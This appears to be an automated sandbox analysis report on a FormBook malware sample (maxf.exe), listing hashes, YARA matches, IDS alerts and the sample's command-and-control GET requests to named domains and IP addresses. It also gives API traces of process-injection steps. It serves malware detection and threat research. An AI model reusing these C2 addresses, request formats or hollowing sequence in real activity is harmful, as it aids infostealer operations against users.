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maxf.exe

Malicious Library UPX PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 19, 2021, 10:55 a.m. Nov. 19, 2021, 11:08 a.m.
Size 295.3KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 00f6b12eb5e9f063938b604f05a71a5a
SHA256 99e25501d1c736865e766fe4e347cda8817f4005be1d7b0c336451b89be71ed2
CRC32 990949E4
ssdeep 6144:rGiNdUPTGkn+FFyQKadQZV4AXUHfay8jt8mEN2o8ld57rQZJSOI:hdUPTn+FTKzZGAXUHfCjt8H8ld5IZJSn
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:59417 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.168.56.101:49166 -> 23.225.171.178:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 23.225.171.178:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 23.225.171.178:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 185.106.208.3:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 185.106.208.3:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 185.106.208.3:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 136.0.144.52:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 136.0.144.52:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 136.0.144.52:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.carlosmorgan.com/dyh6/?rV0DUb=3ACj/876Iue/e8ON8sSJfhN8fXF1US+ej5D3rGFpnLA4NUaMO9+P0oT861hDlQeA3HJ8xKlg&uZiX=MXEL9
suspicious_features GET method with no useragent header suspicious_request GET http://www.44255.online/dyh6/?rV0DUb=j61auN3oPpV+YV1VrFCgAk/5vWcxGznwyRAYsVX/wXCyaXurmtCnvmV0lC7tGgAO0jZoAmJH&uZiX=MXEL9
suspicious_features GET method with no useragent header suspicious_request GET http://www.okulsepette.info/dyh6/?rV0DUb=Wm4wBF+rv62DpqAArqorW1ww5+15iMAwZ5JIqX54ionAHScRIdeTf+feE4cws9aQyFP2uR0T&uZiX=MXEL9
request GET http://www.carlosmorgan.com/dyh6/?rV0DUb=3ACj/876Iue/e8ON8sSJfhN8fXF1US+ej5D3rGFpnLA4NUaMO9+P0oT861hDlQeA3HJ8xKlg&uZiX=MXEL9
request GET http://www.44255.online/dyh6/?rV0DUb=j61auN3oPpV+YV1VrFCgAk/5vWcxGznwyRAYsVX/wXCyaXurmtCnvmV0lC7tGgAO0jZoAmJH&uZiX=MXEL9
request GET http://www.okulsepette.info/dyh6/?rV0DUb=Wm4wBF+rv62DpqAArqorW1ww5+15iMAwZ5JIqX54ionAHScRIdeTf+feE4cws9aQyFP2uR0T&uZiX=MXEL9
domain www.guizhouhl.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2876
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73a12000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2876
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74325000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009b0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nspE7E0.tmp\qnzohkyqwni.dll
file C:\Users\test22\AppData\Local\Temp\nspE7E0.tmp\qnzohkyqwni.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000220
1 0 0
Process injection Process 2876 called NtSetContextThread to modify thread in remote process 3004
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321456
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000021c
process_identifier: 3004
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 3008
thread_handle: 0x0000021c
process_identifier: 3004
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\maxf.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\maxf.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\maxf.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000220
1 1 0

NtGetContextThread

 thread_handle: 0x0000021c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000220
1 0 0

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321456
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000021c
process_identifier: 3004
1 0 0
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